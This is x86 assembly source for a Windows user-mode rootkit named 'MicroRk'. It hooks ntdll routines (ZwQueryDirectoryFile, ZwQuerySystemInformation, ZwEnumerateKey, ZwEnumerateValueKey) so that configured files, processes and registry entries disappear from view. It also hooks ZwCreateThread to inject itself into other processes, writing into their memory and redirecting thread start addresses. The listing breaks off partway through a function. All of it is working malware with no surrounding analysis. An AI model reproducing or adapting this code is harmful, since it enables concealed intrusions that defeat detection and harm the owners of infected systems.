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micrork.inc
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micrork.inc
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; ---------------------------------------
; MicroRk - Very small usermode rootkit
; ---------------------------------------
OP_NONE equ 00h
OP_MODRM equ 01h
OP_DATA_I8 equ 02h
OP_DATA_I16 equ 04h
OP_DATA_I32 equ 08h
OP_DATA_PRE66_67 equ 10h
OP_WORD equ 20h
OP_REL32 equ 40h
struct SET_DATA
TrueProcesses rw 100h
HiddenFiles rw 100h
HiddenProcesses rw 100h
HiddenValues rw 100h
HiddenKeysCount dd ?
HiddenKeysData rw 100h
HiddenKeysOff rw 100h
ends
struct INJ_DATA
InjSize dd ?
pVirtualAllocEx dd ?
pReadProcessMemory dd ?
pWriteProcessMemory dd ?
pCreateRemoteThread dd ?
pVirtualProtect dd ?
pWcsnicmp dd ?
pWcsncpy dd ?
pZwOpenKey dd ?
pZwClose dd ?
pRtlInitUnicodeString dd ?
pMapViewOfFile dd ?
pDuplicateHandle dd ?
pGetModuleFileNameW dd ?
pZwQueryDirectoryFile dd ?
pTrueZwQueryDirectoryFile dd ?
pZwQuerySystemInformation dd ?
pTrueZwQuerySystemInformation dd ?
pZwEnumerateValueKey dd ?
pTrueZwEnumerateValueKey dd ?
pZwEnumerateKey dd ?
pTrueZwEnumerateKey dd ?
pZwCreateThread dd ?
pTrueZwCreateThread dd ?
pSetData dd ?
hSetMapping dd ?
OldEip dd ?
ends
pSetData dd ?
hMapping dd ?
InjectCode:
InjData INJ_DATA ?
push eax
push ebx
push ecx
push edx
push esi
push edi
push ebp
call GetInjData
mov esi, [edi + INJ_DATA.hSetMapping]
push 0
push 0
push 0
push FILE_MAP_READ
push esi
call dword [edi + INJ_DATA.pMapViewOfFile]
test eax, eax
jz @F
mov [edi + INJ_DATA.pSetData], eax
call $+5
pop eax
sub eax, $-NewZwQueryDirectoryFile-1
push eax
push dword [edi + INJ_DATA.pZwQueryDirectoryFile]
call HookCode
mov [edi + INJ_DATA.pTrueZwQueryDirectoryFile], eax
call $+5
pop eax
sub eax, $-NewZwQuerySystemInformation-1
push eax
push dword [edi + INJ_DATA.pZwQuerySystemInformation]
call HookCode
mov [edi + INJ_DATA.pTrueZwQuerySystemInformation], eax
call $+5
pop eax
sub eax, $-NewZwEnumerateValueKey-1
push eax
push dword [edi + INJ_DATA.pZwEnumerateValueKey]
call HookCode
mov [edi + INJ_DATA.pTrueZwEnumerateValueKey], eax
call $+5
pop eax
sub eax, $-NewZwEnumerateKey-1
push eax
push dword [edi + INJ_DATA.pZwEnumerateKey]
call HookCode
mov [edi + INJ_DATA.pTrueZwEnumerateKey], eax
call $+5
pop eax
sub eax, $-NewZwCreateThread-1
push eax
push dword [edi + INJ_DATA.pZwCreateThread]
call HookCode
mov [edi + INJ_DATA.pTrueZwCreateThread], eax
@@:
mov eax, [edi + INJ_DATA.OldEip]
test eax, eax
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
xchg [esp], eax
jnz @F
pop eax
retn 0Ch
@@:
ret
GetInjData:
call $+5
pop edi
sub edi, $-InjData-1
ret
Flags db 00h, 01h, 02h, 03h, 04h, 06h, 08h, 0Ah, 0Ch, 10h, 11h, 20h, 14h, 40h, 41h, 50h
prefixes: db 2Eh, 3Eh, 36h, 26h, 64h, 65h, 0F0h, 0F2h, 0F3h, 66h, 67h
OpcodeFlags:
db 011h, 011h, 029h, 000h, 011h, 011h, 029h, 000h, \
011h, 011h, 029h, 000h, 011h, 011h, 029h, 000h, \
011h, 011h, 029h, 000h, 011h, 011h, 029h, 000h, \
011h, 011h, 029h, 000h, 011h, 011h, 029h, 000h, \
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, \
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, \
000h, 011h, 000h, 000h, 09Ah, 023h, 000h, 000h, \
022h, 022h, 022h, 022h, 022h, 022h, 022h, 022h, \
03Ah, 033h, 011h, 011h, 011h, 011h, 011h, 011h, \
000h, 000h, 000h, 000h, 000h, 0C0h, 000h, 000h, \
099h, 099h, 000h, 000h, 029h, 000h, 000h, 000h, \
022h, 022h, 022h, 022h, 099h, 099h, 099h, 099h, \
033h, 040h, 011h, 03Ah, 050h, 040h, 002h, 000h, \
011h, 011h, 022h, 000h, 011h, 011h, 011h, 011h, \
022h, 022h, 022h, 022h, 0FFh, 0C2h, 000h, 000h, \
000h, 000h, 000h, 011h, 000h, 000h, 000h, 01Eh, \
011h, 011h, 000h, 000h, 000h, 000h, 001h, 003h, \
011h, 011h, 011h, 011h, 010h, 000h, 000h, 000h, \
011h, 011h, 010h, 010h, 011h, 011h, 011h, 011h, \
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, \
011h, 011h, 011h, 011h, 011h, 011h, 011h, 011h, \
011h, 011h, 011h, 011h, 011h, 011h, 011h, 011h, \
011h, 011h, 011h, 011h, 011h, 011h, 000h, 011h, \
003h, 033h, 011h, 010h, 000h, 000h, 011h, 011h, \
0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, \
011h, 011h, 011h, 011h, 011h, 011h, 011h, 011h, \
000h, 001h, 031h, 000h, 000h, 001h, 031h, 011h, \
011h, 011h, 011h, 011h, 000h, 031h, 011h, 011h, \
011h, 031h, 033h, 031h, 000h, 000h, 000h, 000h, \
011h, 011h, 011h, 011h, 011h, 011h, 011h, 011h, \
011h, 011h, 011h, 011h, 011h, 011h, 011h, 011h, \
011h, 011h, 011h, 011h, 011h, 011h, 011h, 010h
SizeOfOpcode:
pushad
mov esi, [esp + 24h]
sub ebx, ebx
sub eax, eax
cdq
mov bl, 66h
cld
push esi
.SkipPrefixes:
sub ecx, ecx
mov cl, 11
call $+5
pop edi
sub edi, $-prefixes - 1
lodsb
repne scasb
jnz .noP66_67
sub al, bl
jnz @F
or dl, 1
@@:
dec al
jnz .SkipPrefixes
or dl, 2
jmp .SkipPrefixes
.noP66_67:
dec esi
push eax
mov edi, eax
lodsb
pop ecx
cmp al, 0Fh
jnz @F
lodsb
mov ecx, eax
inc ah
@@:
shr eax, 1
push edi
call $+5
pop edi
sub edi, $-OpcodeFlags-1
mov bl, [edi + eax]
pop edi
test cl, 1
jnz @F
shr bl, 4
jmp .end_flag
@@:
and bl, 0Fh
.end_flag:
push edi
call $+5
pop edi
sub edi, $-Flags-1
mov bl, [edi + ebx]
pop edi
sub ecx, ecx
mov cl, OP_WORD
test cl, bl
jz @F
inc esi
@@:
mov cl, OP_MODRM
test cl, bl
jz .imm
lodsb
mov ecx, eax
and cl, 38h
shr ecx, 3
xchg ecx, edi
test edi, edi
jnz @F
cmp cl, 0F6h
jnz $ + 5
or bl, OP_DATA_I8
cmp cl, 0F7h
jnz @F
or bl, OP_DATA_PRE66_67
@@:
push ebx
sub ebx, ebx
push eax
pop edi
shr edi, 6
xchg eax, ebp
and ebp, 7
xchg eax, edi
sub edi, edi
test dl, 2
jnz @F
cmp ebp, 4
jnz @F
inc edi
@@:
push edi
xchg eax, edi
push edi
test edi, edi
jnz @F
test dl, 2
jz .x01
cmp ebp, 6
jnz .x01
mov bl, 2
.x01:
test dl, 2
jnz @F
cmp ebp, 5
jnz @F
mov bl, 4
@@:
dec edi
jnz @F
inc ebx
@@:
dec edi
jnz @F
mov bl, 4
test dl, 2
jz @F
dec ebx
dec ebx
@@:
pop eax
pop ecx
dec edi
jnz @F
sub ecx, ecx
@@:
xchg eax, edi
jecxz @F
lodsb
and al, 7
cmp al, 5
jnz @F
bt edi, 0
jc @F
mov bl, 4
@@:
add esi, ebx
pop ebx
.imm:
mov cl, OP_DATA_I8
test cl, bl
jz @F
inc esi
@@:
mov cl, OP_DATA_I16
test cl, bl
jz @F
inc esi
inc esi
@@:
mov cl, OP_DATA_I32
test cl, bl
jz @F
add esi, 4
@@:
xchg eax, edi
sub ebp, ebp
inc ebp
inc ebp
cmp al, 0A0h
jb @F
cmp al, 0A3h
ja @F
inc ebp
inc ebp
bt edx, 1
jnc .pref
dec ebp
dec ebp
jmp .pref
@@:
bt edx, 0
jc .pref
inc ebp
inc ebp
.pref:
mov cl, OP_DATA_PRE66_67
test cl, bl
jz @F
add esi, ebp
@@:
pop edi
sub esi, edi
stc
cmp esi, 15
ja @F
mov [esp + 1Ch], esi
cmc
@@:
popad
retn 4
HookCode: ; fnAddr, NewAddr
pushad
mov esi, [esp + 24h]
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT + MEM_RESERVE
push 20
push 0
push -1
call dword [edi + INJ_DATA.pVirtualAllocEx]
test eax, eax
jz @F
mov edx, esi
sub edx, eax
sub edx, 5
push eax
push edi
mov edi, eax
lea ebx, [eax + 5]
hCopy:
push esi
call SizeOfOpcode
jc @F
mov ecx, eax
rep movsb
cmp edi, ebx
jna hCopy
mov byte [edi], 0E9h
mov dword [edi + 1], edx
pop edi
pop esi ; esi - NewFunction
mov ebx, [esp + 24h]
mov ecx, [esp + 28h]
sub ecx, ebx
sub ecx, 5
push ebp
mov ebp, esp
sub esp, 4
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push PAGE_EXECUTE_READWRITE
push 5
push ebx
call dword [edi + INJ_DATA.pVirtualProtect]
pop ebx
pop ecx
mov byte [ebx], 0E9h
mov dword [ebx + 1], ecx
leave
mov [esp + 1Ch], esi
@@:
popad
retn 8
IsMaskEquate: ; Mask, String, Length: PWCHAR
push edx
push esi
mov esi, [esp+0Ch]
push ebp
jmp cnLoop
eLoop:
xor eax, eax
mov ax, [esi]
xor ebp, ebp
test ax, ax
jz eCmp
@@:
cmp ax, ';'
jz @F
inc ebp
mov ax, [esi+ebp*2]
test ax, ax
jnz @B
@@:
cmp [esp+18h], ebp
jb @F
eCmp:
push ebp
push esi
push dword [esp+1Ch]
call dword [edi + INJ_DATA.pWcsnicmp]
add esp, 0Ch
test eax, eax
jz eTrue
@@:
lea esi, [esi+ebp*2+2]
cnLoop:
cmp word [esi], 0
jnz eLoop
xor al, al
@@:
pop ebp
pop esi
pop edx
retn 0Ch
eTrue:
mov al, 1
jmp @B
NewZwQueryDirectoryFile:
push ebp
mov ebp, esp
push edi
call GetInjData
push dword [ebp+30h]
push dword [ebp+2Ch]
push dword [ebp+28h]
push dword [ebp+24h]
push dword [ebp+20h]
push dword [ebp+1Ch]
push dword [ebp+18h]
push dword [ebp+14h]
push dword [ebp+10h]
push dword [ebp+0Ch]
push dword [ebp+8]
call dword [edi + INJ_DATA.pTrueZwQueryDirectoryFile]
test eax, eax
mov [ebp+30h], eax
jl zExit
cmp byte [ebp+28h], 0
jnz zExit
cmp dword [ebp+24h], 3
jnz zExit
call IsTrueProcess
test al, al
jnz zExit
push ebx
mov ebx, [ebp+28h]
push esi
push edx
xor edx, edx
zfLoop:
mov eax, [ebp+1Ch]
lea esi, [edx+eax]
mov eax, [esi+3Ch]
add edx, [esi]
shr eax, 1
push eax
lea eax, [esi+5Eh]
push eax
mov eax, [edi + INJ_DATA.pSetData]
lea eax, [eax + SET_DATA.HiddenFiles]
push eax
call IsMaskEquate
test al, al
jz zNotHidden
mov eax, [esi]
test eax, eax
jz zNotNextEntry
test ebx, ebx
jz @F
add [ebx], eax
jmp @F
zNotHidden:
mov ebx, esi
@@:
cmp dword [esi], 0
jnz zfLoop
jmp @F
zNotNextEntry:
test ebx, ebx
jz zNoMoreFiles
and dword [ebx], 0
jmp @F
zNoMoreFiles:
mov dword [ebp+30h], 080000006h
@@:
pop edx
pop esi
pop ebx
zExit:
mov eax, [ebp+30h]
pop edi
pop ebp
retn 2Ch
NewZwQuerySystemInformation:
push ebp
mov ebp, esp
push edi
call GetInjData
push ebx
push esi
push dword [ebp+14h]
mov esi, [ebp+0Ch]
push dword [ebp+10h]
push esi
push dword [ebp+8]
call dword [edi + INJ_DATA.pTrueZwQuerySystemInformation]
mov ebx, eax
test ebx, ebx
jl pExit
cmp dword [ebp+8], 5
jnz pExit
call IsTrueProcess
test al, al
jnz pExit
push edx
xor edx, edx
pLoop:
add esi, [esi]
movzx eax, word [esi+38h]
push eax
push dword [esi+3Ch]
mov eax, [edi + INJ_DATA.pSetData]
lea eax, [eax + SET_DATA.HiddenProcesses]
push eax
call IsMaskEquate
test al, al
jz pNoHidden
test edx, edx
jz pNoHidden
mov eax, [esi]
test eax, eax
jz @F
add [edx], eax
jmp pNoHidden
@@:
and dword [edx], 0
pNoHidden:
cmp dword [esi], 0
mov edx, esi
jnz pLoop
pop edx
pExit:
pop esi
mov eax, ebx
pop ebx
pop edi
pop ebp
retn 10h
GetValueShift: ;KeyHandle, Index, Buff, BuffLength, ResultLength, NewIndex
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+10h]
push esi
push dword [ebp+18h]
xor eax, eax
push dword [ebp+14h]
mov [ebp-4], eax
push ebx
push eax
mov [ebp-8], eax
push eax
jmp @F
vLoop:
push dword [ebx+8]
lea eax, [ebx+0Ch]
push eax
mov eax, [edi + INJ_DATA.pSetData]
lea eax, [eax + SET_DATA.HiddenValues]
push eax
call IsMaskEquate
test al, al
jnz vHidden
inc dword [ebp-8]
vHidden:
mov eax, [ebp-8]
cmp eax, [ebp+0Ch]
ja vExit
push dword [ebp+18h]
inc dword [ebp-4]
push dword [ebp+14h]
push ebx
push 0
push dword [ebp-4]
@@:
push dword [ebp+8]
call dword [edi + INJ_DATA.pTrueZwEnumerateValueKey]
mov esi, eax
test esi, esi
jge vLoop
vExit:
mov eax, [ebp+1Ch]
mov ecx, [ebp-4]
mov [eax], ecx
mov eax, esi
pop esi
pop ebx
leave
retn 18h
NewZwEnumerateValueKey:
push ebp
mov ebp, esp
push edi
call GetInjData
call IsTrueProcess
test al, al
jnz @F
mov eax, [ebp+0Ch]
lea ecx, [ebp+0Ch]
push ecx
push dword [ebp+1Ch]
mov [ebp+0Ch], eax
push dword [ebp+18h]
push dword [ebp+14h]
push eax
push dword [ebp+8]
call GetValueShift
test eax, eax
jl vlExit
@@:
push dword [ebp+1Ch]
push dword [ebp+18h]
push dword [ebp+14h]
push dword [ebp+10h]
push dword [ebp+0Ch]
push dword [ebp+8]
call dword [edi + INJ_DATA.pTrueZwEnumerateValueKey]
vlExit:
pop edi
pop ebp
retn 18h
IsKeyHidden: ;KeyName, NameLength
push esi
xor esi, esi
mov eax, [edi + INJ_DATA.pSetData]
cmp [eax + SET_DATA.HiddenKeysCount], esi
push ebp
jbe kNotf
mov ebp, [esp+10h]
shr ebp, 1
@@:
mov eax, [edi + INJ_DATA.pSetData]
lea eax, [eax + SET_DATA.HiddenKeysOff+2]
movzx eax, word [eax+esi*2]
add eax, [edi + INJ_DATA.pSetData]
add eax, SET_DATA.HiddenKeysData
push ebp
push eax
push dword [esp+14h]
call dword [edi + INJ_DATA.pWcsnicmp]
add esp, 0Ch
test eax, eax
jz kHidden
inc esi
mov eax, [edi + INJ_DATA.pSetData]
cmp esi, [eax + SET_DATA.HiddenKeysCount]
jb @B
kNotf:
xor al, al
@@:
pop ebp
pop esi
retn 8
kHidden:
mov al, 1
jmp @B
GetKeyShift:
push ebp
mov ebp, esp
sub esp, 6Ch
mov eax, [ebp+0Ch]
push ebx
push esi
push dword [ebp+18h]
mov esi, [ebp+10h]
push dword [ebp+14h]
xor ebx, ebx
push esi
push ebx
push eax
push dword [ebp+8]
mov [ebp-4], eax
call dword [edi + INJ_DATA.pTrueZwEnumerateKey]
test eax, eax
mov [ebp-8], eax
jl gkExit
mov eax, [edi + INJ_DATA.pSetData]
cmp [eax + SET_DATA.HiddenKeysCount], ebx
jbe gkNotKeys
@@:
mov eax, [edi + INJ_DATA.pSetData]
lea eax, [eax + SET_DATA.HiddenKeysOff+2]
movzx eax, word [eax+ebx*2]
push dword [esi+0Ch]
add eax, [edi + INJ_DATA.pSetData]
add eax, SET_DATA.HiddenKeysData
push eax
lea eax, [esi+10h]
push eax
call dword [edi + INJ_DATA.pWcsnicmp]
add esp, 0Ch
test eax, eax
jl gkNotKeys
inc ebx
mov eax, [edi + INJ_DATA.pSetData]
cmp ebx, [eax + SET_DATA.HiddenKeysCount]
jb @B
gkNotKeys:
xor esi, esi
test ebx, ebx
jbe gkExit
gkLoop:
mov eax, [edi + INJ_DATA.pSetData]
lea eax, [eax + SET_DATA.HiddenKeysOff+2]
movzx eax, word [eax+esi*2]
add eax, [edi + INJ_DATA.pSetData]
add eax, SET_DATA.HiddenKeysData
push 20h
push eax
lea eax, [ebp-6Ch]
push eax
call dword [edi + INJ_DATA.pWcsncpy]
add esp, 0Ch
lea eax, [ebp-6Ch]
push eax
lea eax, [ebp-14h]
push eax
call dword [edi + INJ_DATA.pRtlInitUnicodeString]
mov eax, [ebp+8]
and dword [ebp-1Ch], 0
and dword [ebp-18h], 0
mov [ebp-28h], eax
lea eax, [ebp-14h]
mov [ebp-24h], eax
lea eax, [ebp-2Ch]
push eax
push 8
lea eax, [ebp-0Ch]
push eax
mov dword [ebp-2Ch], 18h
mov dword [ebp-20h], 40h
call dword [edi + INJ_DATA.pZwOpenKey]
test eax, eax
jl @F
push dword [ebp-0Ch]
inc dword [ebp-4]
call dword [edi + INJ_DATA.pZwClose]
@@:
inc esi
cmp esi, ebx
jb gkLoop
mov esi, [ebp+0Ch]
cmp [ebp-4], esi
jbe gkExit
jmp gkNhdn
sCheck:
push dword [ebp+18h]
mov ebx, [ebp+10h]
push dword [ebp+14h]
push ebx
push 0
push esi
push dword [ebp+8]
call dword [edi + INJ_DATA.pTrueZwEnumerateKey]
test eax, eax
mov [ebp-8], eax
jl @F
push dword [ebx+0Ch]
add ebx, 10h
push ebx
call IsKeyHidden
test al, al
jz gkNhdn
inc dword [ebp-4]
gkNhdn:
inc esi
cmp esi, [ebp-4]
jbe sCheck
@@:
dec esi
mov [ebp-4], esi
gkExit:
mov eax, [ebp+1Ch]
mov ecx, [ebp-4]
pop esi
mov [eax], ecx
mov eax, [ebp-8]
pop ebx
leave
retn 18h
NewZwEnumerateKey:
push ebp
mov ebp, esp
push edi
call GetInjData
mov eax, [edi + INJ_DATA.pSetData]
cmp dword [eax + SET_DATA.HiddenKeysCount], 0
mov eax, [ebp+0Ch]
mov [ebp+0Ch], eax
jz kNotHide
push eax
call IsTrueProcess
test al, al
pop eax
jnz kNotHide
lea ecx, [ebp+0Ch]
push ecx
push dword [ebp+1Ch]
push dword [ebp+18h]
push dword [ebp+14h]
push eax
push dword [ebp+8]
call GetKeyShift
test eax, eax
jl @F
kNotHide:
push dword [ebp+1Ch]
push dword [ebp+18h]
push dword [ebp+14h]
push dword [ebp+10h]
push dword [ebp+0Ch]
push dword [ebp+8]
call dword [edi + INJ_DATA.pTrueZwEnumerateKey]
@@:
pop edi
pop ebp
retn 18h
IsProcessInfected: ; hProcess
mov eax, [esp + 4]
push ebp
mov ebp, esp
sub esp, 4
push ebx
push 0
push 4
lea ebx, [ebp-4]
push ebx
push [edi + INJ_DATA.pZwQueryDirectoryFile]
push eax
call dword [edi + INJ_DATA.pReadProcessMemory]
test eax, eax
jz @F
xor eax, eax
cmp byte [ebp-4], 0E9h
setz al
@@:
pop ebx
leave
retn 4
NewZwCreateThread:
push ebp
mov ebp, esp
sub esp, 8
push edi
call GetInjData
cmp dword [ebp+14h], -1
push esi
mov esi, [ebp+1Ch]
jz @F
push dword [ebp+14h]
call IsProcessInfected
test al, al
jnz @F
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT + MEM_RESERVE
push dword [edi + INJ_DATA.InjSize]
push 0
push dword [ebp+14h]
call dword [edi + INJ_DATA.pVirtualAllocEx]
test eax, eax
jz @F
push eax
push eax
push 0
push dword [edi + INJ_DATA.InjSize]
push edi
push eax
push dword [ebp+14h]
call dword [edi + INJ_DATA.pWriteProcessMemory]
mov eax, [esi+0B8h]
mov [ebp-4], eax
push DUPLICATE_SAME_ACCESS
push 0
push 0
lea eax, [ebp-8]
push eax
push dword [ebp+14h]
push dword [edi + INJ_DATA.hSetMapping]
push -1
call dword [edi + INJ_DATA.pDuplicateHandle]
pop eax
push 0
push 8
push ebp
sub dword [esp], 8
lea eax, [eax + INJ_DATA.hSetMapping]
push eax
push dword [ebp+14h]
call dword [edi + INJ_DATA.pWriteProcessMemory]
pop eax
add eax, sizeof.INJ_DATA
mov dword [esi+0B8h], eax
@@:
push dword [ebp+24h]
push dword [ebp+20h]
push esi
push dword [ebp+18h]
push dword [ebp+14h]
push dword [ebp+10h]
push dword [ebp+0Ch]
push dword [ebp+8]
call [edi + INJ_DATA.pTrueZwCreateThread]
pop esi
pop edi
leave
retn 20h
IsTrueProcess:
push ebp
mov ebp, esp
sub esp, 100h
push esi
push ebx
push edx
lea esi, [ebp-100h]
push edi
mov edi, esi
mov ecx, 100h / 4
xor eax, eax
rep stosd
pop edi
push 100h
push esi
push 0
call [edi + INJ_DATA.pGetModuleFileNameW]
mov esi, ebp
@@:
dec esi
cmp word [esi-2], '\'